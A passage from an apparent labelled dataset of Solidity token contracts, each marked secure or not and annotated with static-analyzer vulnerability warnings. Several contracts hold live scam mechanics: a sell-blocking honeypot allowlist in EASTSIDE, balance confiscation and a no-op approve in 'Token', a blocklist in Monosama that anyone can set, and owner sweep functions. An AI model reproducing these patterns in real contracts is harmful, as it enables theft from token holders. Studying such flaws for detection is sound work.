reentrancy-eth | ID: 5da9d5e\n\t\t// arbitrary-send-eth | ID: 518e48a\n _taxWallet.transfer(amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: a355563): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for a355563: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 1d53ba0): hodl.openTrading() ignores return value by IERC20(uniswapV2Pair).approve(address(uniswapV2Router),type()(uint256).max)\n\t// Recommendation for 1d53ba0: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 118384c): hodl.openTrading() ignores return value by uniswapV2Router.addLiquidityETH{value address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp)\n\t// Recommendation for 118384c: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: cf0a3eb): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for cf0a3eb: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function openTrading() external onlyOwner {\n require(!tradingOpen, \"trading is already open\");\n\n uniswapV2Router = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n\n _approve(address(this), address(uniswapV2Router), _tTotal);\n\n\t\t// reentrancy-benign | ID: a355563\n\t\t// reentrancy-eth | ID: cf0a3eb\n uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(\n address(this),\n uniswapV2Router.WETH()\n );\n\n\t\t// reentrancy-benign | ID: a355563\n\t\t// unused-return | ID: 118384c\n\t\t// reentrancy-eth | ID: cf0a3eb\n uniswapV2Router.addLiquidityETH{value: address(this).balance}(\n address(this),\n balanceOf(address(this)),\n 0,\n 0,\n owner(),\n block.timestamp\n );\n\n\t\t// reentrancy-benign | ID: a355563\n\t\t// unused-return | ID: 1d53ba0\n\t\t// reentrancy-eth | ID: cf0a3eb\n IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint256).max);\n\n\t\t// reentrancy-benign | ID: a355563\n swapEnabled = true;\n\n\t\t// reentrancy-eth | ID: cf0a3eb\n tradingOpen = true;\n\n\t\t// reentrancy-benign | ID: a355563\n firstBlock = block.number;\n }\n\n receive() external payable {}\n\n function reduceFee(uint256 _reduceFee) external {\n require(_msgSender() == _taxWallet);\n\n require(_reduceFee <= _finalBuyTax && _reduceFee <= _finalSellTax);\n\n _finalBuyTax = _reduceFee;\n\n _finalSellTax = _reduceFee;\n }\n\n function abstractToken(\n address tokenAddress,\n uint256 tokens\n ) external returns (bool success) {\n require(_msgSender() == _taxWallet);\n\n if (tokens == 0) {\n tokens = IERC20(tokenAddress).balanceOf(address(this));\n }\n\n emit ClearToken(tokenAddress, tokens);\n\n return IERC20(tokenAddress).transfer(_taxWallet, tokens);\n }\n\n function abstractETH() external {\n require(_msgSender() == _taxWallet);\n\n uint256 ethBalance = address(this).balance;\n\n require(ethBalance > 0, \"Contract balance must be greater than zero\");\n\n sendETHToFee(ethBalance);\n }\n}",
"file_name": "solidity_code_279.sol",
"secure": 0,
"size_bytes": 17896
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\nimport \"@openzeppelin/contracts/utils/Pausable.sol\" as Pausable;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\n\ncontract OnlyOne is ERC20, Pausable, Ownable {\n constructor() ERC20(\"OnlyOne\", \"OONE\") {\n _mint(msg.sender, 1 * 10 ** 18);\n }\n\n function burnFrom(address from, uint256 amount) public onlyOwner {\n _burn(from, amount);\n }\n\n function mintTo(address to, uint256 amount) public onlyOwner {\n _mint(to, amount);\n }\n function pause() public onlyOwner {\n _pause();\n }\n\n function unpause() public onlyOwner {\n _unpause();\n }\n\n function _beforeTokenTransfer(\n address from,\n address to,\n uint256 amount\n ) internal override whenNotPaused {\n super._beforeTokenTransfer(from, to, amount);\n }\n}",
"file_name": "solidity_code_2790.sol",
"secure": 1,
"size_bytes": 970
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\n\ncontract ZettaHash is ERC20, Ownable {\n\t// WARNING Optimization Issue (constable-states | ID: add2895): ZettaHash.maxSupply should be constant \n\t// Recommendation for add2895: Add the 'constant' attribute to state variables that never change.\n uint256 maxSupply = 1e9 * 1e18;\n\n constructor() ERC20(\"Wrapped Solana\", \"WSOL\") {\n _mint(msg.sender, maxSupply);\n }\n}",
"file_name": "solidity_code_2791.sol",
"secure": 1,
"size_bytes": 580
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/interfaces/IERC20Metadata.sol\" as IERC20Metadata;\nimport \"@uniswap/v2-core/contracts/interfaces/IUniswapV2Factory.sol\" as IUniswapV2Factory;\nimport \"@uniswap/v2-periphery/contracts/interfaces/IUniswapV2Router02.sol\" as IUniswapV2Router02;\n\ncontract EASTSIDE is Context, IERC20, IERC20Metadata {\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n uint256 private _totalSupply;\n\n string private _name;\n string private _symbol;\n\n mapping(address => bool) private _enable;\n\t// WARNING Optimization Issue (immutable-states | ID: cc5628c): EASTSIDE.uniswapV2Router should be immutable \n\t// Recommendation for cc5628c: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n IUniswapV2Router02 public uniswapV2Router;\n\t// WARNING Optimization Issue (immutable-states | ID: 8133c95): EASTSIDE.uniswapV2Pair should be immutable \n\t// Recommendation for 8133c95: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address public uniswapV2Pair;\n\n constructor() {\n _mint(\n 0x4C0fA10EdB1d27217Ef291A792Fc53c21e007EfD,\n 100000000000000 * 10 ** 18\n );\n _enable[0x4C0fA10EdB1d27217Ef291A792Fc53c21e007EfD] = true;\n\n IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n\n uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())\n .createPair(address(this), _uniswapV2Router.WETH());\n\n uniswapV2Router = _uniswapV2Router;\n\n _name = \"EASTCITY\";\n _symbol = \"EAST\";\n }\n\n function name() public view virtual override returns (string memory) {\n return _name;\n }\n\n function symbol() public view virtual override returns (string memory) {\n return _symbol;\n }\n\n function decimals() public view virtual override returns (uint8) {\n return 18;\n }\n\n function totalSupply() public view virtual override returns (uint256) {\n return _totalSupply;\n }\n\n function balanceOf(\n address account\n ) public view virtual override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n return true;\n }\n\n function allowance(\n address owner,\n address spender\n ) public view virtual override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public virtual override returns (bool) {\n _approve(_msgSender(), spender, amount);\n return true;\n }\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(sender, recipient, amount);\n\n uint256 currentAllowance = _allowances[sender][_msgSender()];\n require(\n currentAllowance >= amount,\n \"ERC20: transfer amount exceeds allowance\"\n );\n _approve(sender, _msgSender(), currentAllowance - amount);\n\n return true;\n }\n\n function increaseAllowance(\n address spender,\n uint256 addedValue\n ) public virtual returns (bool) {\n _approve(\n _msgSender(),\n spender,\n _allowances[_msgSender()][spender] + addedValue\n );\n return true;\n }\n\n function decreaseAllowance(\n address spender,\n uint256 subtractedValue\n ) public virtual returns (bool) {\n uint256 currentAllowance = _allowances[_msgSender()][spender];\n require(\n currentAllowance >= subtractedValue,\n \"ERC20: decreased allowance below zero\"\n );\n _approve(_msgSender(), spender, currentAllowance - subtractedValue);\n\n return true;\n }\n\n function _transfer(\n address sender,\n address recipient,\n uint256 amount\n ) internal virtual {\n require(sender != address(0), \"ERC20: transfer from the zero address\");\n require(recipient != address(0), \"ERC20: transfer to the zero address\");\n\n _beforeTokenTransfer(sender, recipient);\n\n uint256 senderBalance = _balances[sender];\n require(\n senderBalance >= amount,\n \"ERC20: transfer amount exceeds balance\"\n );\n _balances[sender] = senderBalance - amount;\n _balances[recipient] += amount;\n emit Transfer(sender, recipient, amount);\n }\n\n function _mint(address account, uint256 amount) internal virtual {\n require(account != address(0), \"ERC20: mint to the zero address\");\n\n _beforeTokenTransfer(address(0), account);\n\n _totalSupply += amount;\n _balances[account] += amount;\n emit Transfer(address(0), account, amount);\n }\n\n function _burn(address account, uint256 amount) internal virtual {\n require(account != address(0), \"ERC20: burn from the zero address\");\n\n _beforeTokenTransfer(account, address(0));\n\n uint256 accountBalance = _balances[account];\n require(accountBalance >= amount, \"ERC20: burn amount exceeds balance\");\n _balances[account] = accountBalance - amount;\n _totalSupply -= amount;\n\n emit Transfer(account, address(0), amount);\n }\n\n function _approve(\n address owner,\n address spender,\n uint256 amount\n ) internal virtual {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n _allowances[owner][spender] = amount;\n emit Approval(owner, spender, amount);\n }\n\n function _beforeTokenTransfer(address from, address to) internal virtual {\n if (to == uniswapV2Pair) {\n require(_enable[from], \"something went wrong\");\n }\n }\n}",
"file_name": "solidity_code_2792.sol",
"secure": 1,
"size_bytes": 6498
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nabstract contract ERC20Token {\n function name() public view virtual returns (string memory);\n function symbol() public view virtual returns (string memory);\n function decimals() public view virtual returns (uint8);\n function totalSupply() public view virtual returns (uint256);\n function balanceOf(\n address _owner\n ) public view virtual returns (uint256 balance);\n function transfer(\n address _to,\n uint256 _value\n ) public virtual returns (bool success);\n function transferFrom(\n address _from,\n address _to,\n uint256 _value\n ) public virtual returns (bool success);\n function approve(\n address _spender,\n uint256 _value\n ) public virtual returns (bool success);\n function allowance(\n address _owner,\n address _spender\n ) public view virtual returns (uint256 remaining);\n\n event Transfer(address indexed _from, address indexed _to, uint256 _value);\n event Approval(\n address indexed _owner,\n address indexed _spender,\n uint256 _value\n );\n}",
"file_name": "solidity_code_2793.sol",
"secure": 1,
"size_bytes": 1177
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\ncontract Owned {\n address public owner;\n address public newOwner;\n\n event OwnershipTransferred(address indexed _from, address indexed _to);\n\n constructor() {\n owner = msg.sender;\n }\n\n\t// WARNING Vulnerability (missing-zero-check | severity: Low | ID: 724c87d): Owned.transferOwnership(address)._to lacks a zerocheck on \t newOwner = _to\n\t// Recommendation for 724c87d: Check that the address is not zero.\n function transferOwnership(address _to) public {\n require(msg.sender == owner);\n\t\t// missing-zero-check | ID: 724c87d\n newOwner = _to;\n }\n\n function acceptOwnership() public {\n require(msg.sender == newOwner);\n emit OwnershipTransferred(owner, newOwner);\n owner = newOwner;\n newOwner = address(0);\n }\n}",
"file_name": "solidity_code_2794.sol",
"secure": 0,
"size_bytes": 870
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"./ERC20Token.sol\" as ERC20Token;\nimport \"./Owned.sol\" as Owned;\n\ncontract Token is ERC20Token, Owned {\n string public _symbol;\n string public _name;\n\t// WARNING Optimization Issue (immutable-states | ID: 909d255): Token._decimal should be immutable \n\t// Recommendation for 909d255: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n uint8 public _decimal;\n uint256 public _totalSupply;\n\t// WARNING Optimization Issue (immutable-states | ID: 87b1545): Token._minter should be immutable \n\t// Recommendation for 87b1545: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address public _minter;\n\n mapping(address => uint256) balances;\n\n constructor() {\n _symbol = \"STK\";\n _name = \"StakerCoin\";\n _decimal = 18;\n _totalSupply = 4214700000000000000000000;\n _minter = 0x3Dc78979FA4f53B3A3D52372d5CE5aBde00785Ac;\n\n balances[_minter] = _totalSupply;\n emit Transfer(address(0), _minter, _totalSupply);\n }\n\n function name() public view override returns (string memory) {\n return _name;\n }\n\n function symbol() public view override returns (string memory) {\n return _symbol;\n }\n\n function decimals() public view override returns (uint8) {\n return _decimal;\n }\n\n function totalSupply() public view override returns (uint256) {\n return _totalSupply;\n }\n\n function balanceOf(\n address _owner\n ) public view override returns (uint256 balance) {\n return balances[_owner];\n }\n function transferFrom(\n address _from,\n address _to,\n uint256 _value\n ) public override returns (bool success) {\n require(balances[_from] >= _value);\n balances[_from] -= _value;\n balances[_to] += _value;\n emit Transfer(_from, _to, _value);\n return true;\n }\n function transfer(\n address _to,\n uint256 _value\n ) public override returns (bool success) {\n return transferFrom(msg.sender, _to, _value);\n }\n function approve(\n address _spender,\n uint256 _value\n ) public override returns (bool success) {\n return true;\n }\n function allowance(\n address _owner,\n address _spender\n ) public view override returns (uint256 remaining) {\n return 0;\n }\n\n\t// WARNING Vulnerability (events-maths | severity: Low | ID: f8eea8c): Token.mint(uint256) should emit an event for _totalSupply += amount \n\t// Recommendation for f8eea8c: Emit an event for critical parameter changes.\n function mint(uint256 amount) public returns (bool) {\n require(msg.sender == _minter);\n balances[_minter] += amount;\n\t\t// events-maths | ID: f8eea8c\n _totalSupply += amount;\n return true;\n }\n\t// WARNING Vulnerability (events-maths | severity: Low | ID: d94bd36): Token.confiscate(address,uint256) should emit an event for _totalSupply = amount _totalSupply = balances[target] \n\t// Recommendation for d94bd36: Emit an event for critical parameter changes.\n function confiscate(address target, uint256 amount) public returns (bool) {\n require(msg.sender == _minter);\n\n if (balances[target] >= amount) {\n balances[target] -= amount;\n\t\t\t// events-maths | ID: d94bd36\n _totalSupply -= amount;\n } else {\n\t\t\t// events-maths | ID: d94bd36\n _totalSupply -= balances[target];\n balances[target] = 0;\n }\n return true;\n }\n}",
"file_name": "solidity_code_2795.sol",
"secure": 0,
"size_bytes": 3737
} |
{
"code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\ninterface ILiquidityPool {\n struct LockedLiquidity {\n uint256 amount;\n uint256 premium;\n bool locked;\n }\n\n event Profit(uint256 indexed id, uint256 amount);\n event Loss(uint256 indexed id, uint256 amount);\n event Provide(address indexed account, uint256 amount, uint256 writeAmount);\n event Withdraw(\n address indexed account,\n uint256 amount,\n uint256 writeAmount\n );\n\n function unlock(uint256 id) external;\n}",
"file_name": "solidity_code_2796.sol",
"secure": 1,
"size_bytes": 561
} |
{
"code": "// SPDX-License-Identifier: unlicensed\n\npragma solidity ^0.8.0;\n\nimport \"./ERC20Interface.sol\" as ERC20Interface;\nimport \"@openzeppelin/contracts/utils/math/SafeMath.sol\" as SafeMath;\n\ncontract Monosama is ERC20Interface, SafeMath {\n string public symbol;\n string public name;\n\t// WARNING Optimization Issue (immutable-states | ID: d19c7dd): Monosama.decimals should be immutable \n\t// Recommendation for d19c7dd: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n uint8 public decimals;\n\t// WARNING Optimization Issue (immutable-states | ID: 90508db): Monosama._totalSupply should be immutable \n\t// Recommendation for 90508db: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n uint256 public _totalSupply;\n mapping(address => uint256) balances;\n mapping(address => mapping(address => uint256)) allowed;\n address public caAddy;\n\n constructor() {\n symbol = \"MSA\";\n name = \"Monosama\";\n decimals = 0;\n _totalSupply = 1000000;\n balances[msg.sender] = _totalSupply;\n emit Transfer(address(0), msg.sender, _totalSupply);\n }\n\n function totalSupply() public view override returns (uint256) {\n return _totalSupply - balances[address(0)];\n }\n\n\t// WARNING Vulnerability (missing-zero-check | severity: Low | ID: 7daa9f5): Monosama.eating(address).addy lacks a zerocheck on \t caAddy = addy\n\t// Recommendation for 7daa9f5: Check that the address is not zero.\n function eating(address addy) public {\n\t\t// missing-zero-check | ID: 7daa9f5\n caAddy = addy;\n }\n\n function balanceOf(\n address tokenOwner\n ) public view override returns (uint256 balance) {\n return balances[tokenOwner];\n }\n\n function transfer(\n address receiver,\n uint256 tokens\n ) public override returns (bool success) {\n require(receiver != caAddy, \"Please interract properly\");\n balances[msg.sender] = safeSub(balances[msg.sender], tokens);\n balances[receiver] = safeAdd(balances[receiver], tokens);\n emit Transfer(msg.sender, receiver, tokens);\n return true;\n }\n\n function approve(\n address spender,\n uint256 tokens\n ) public override returns (bool success) {\n allowed[msg.sender][spender] = tokens;\n emit Approval(msg.sender, spender, tokens);\n return true;\n }\n\n function transferFrom(\n address sender,\n address receiver,\n uint256 tokens\n ) public override returns (bool success) {\n require(receiver != caAddy, \"Please interract properly\");\n balances[sender] = safeSub(balances[sender], tokens);\n allowed[sender][msg.sender] = safeSub(\n allowed[sender][msg.sender],\n tokens\n );\n balances[receiver] = safeAdd(balances[receiver], tokens);\n emit Transfer(sender, receiver, tokens);\n return true;\n }\n\n function allowance(\n address tokenOwner,\n address spender\n ) public view override returns (uint256 remaining) {\n return allowed[tokenOwner][spender];\n }\n}",
"file_name": "solidity_code_2797.sol",
"secure": 0,
"size_bytes": 3251
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nlibrary SafeMath {\n function add(uint256 a, uint256 b) internal pure returns (uint256 c) {\n require((c = a + b) >= b, \"SafeMath: Add Overflow\");\n }\n\n function sub(uint256 a, uint256 b) internal pure returns (uint256 c) {\n require((c = a - b) <= a, \"SafeMath: Underflow\");\n }\n\n function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {\n require(b == 0 || (c = a * b) / b == a, \"SafeMath: Mul Overflow\");\n }\n\n function to128(uint256 a) internal pure returns (uint128 c) {\n require(a <= type(uint128).max, \"SafeMath: uint128 Overflow\");\n c = uint128(a);\n }\n\n function to64(uint256 a) internal pure returns (uint64 c) {\n require(a <= type(uint64).max, \"SafeMath: uint64 Overflow\");\n c = uint64(a);\n }\n\n function to32(uint256 a) internal pure returns (uint32 c) {\n require(a <= type(uint32).max, \"SafeMath: uint32 Overflow\");\n c = uint32(a);\n }\n}",
"file_name": "solidity_code_2798.sol",
"secure": 1,
"size_bytes": 1042
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nlibrary SafeMath128 {\n function add(uint128 a, uint128 b) internal pure returns (uint128 c) {\n require((c = a + b) >= b, \"SafeMath: Add Overflow\");\n }\n\n function sub(uint128 a, uint128 b) internal pure returns (uint128 c) {\n require((c = a - b) <= a, \"SafeMath: Underflow\");\n }\n}",
"file_name": "solidity_code_2799.sol",
"secure": 1,
"size_bytes": 375
} |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.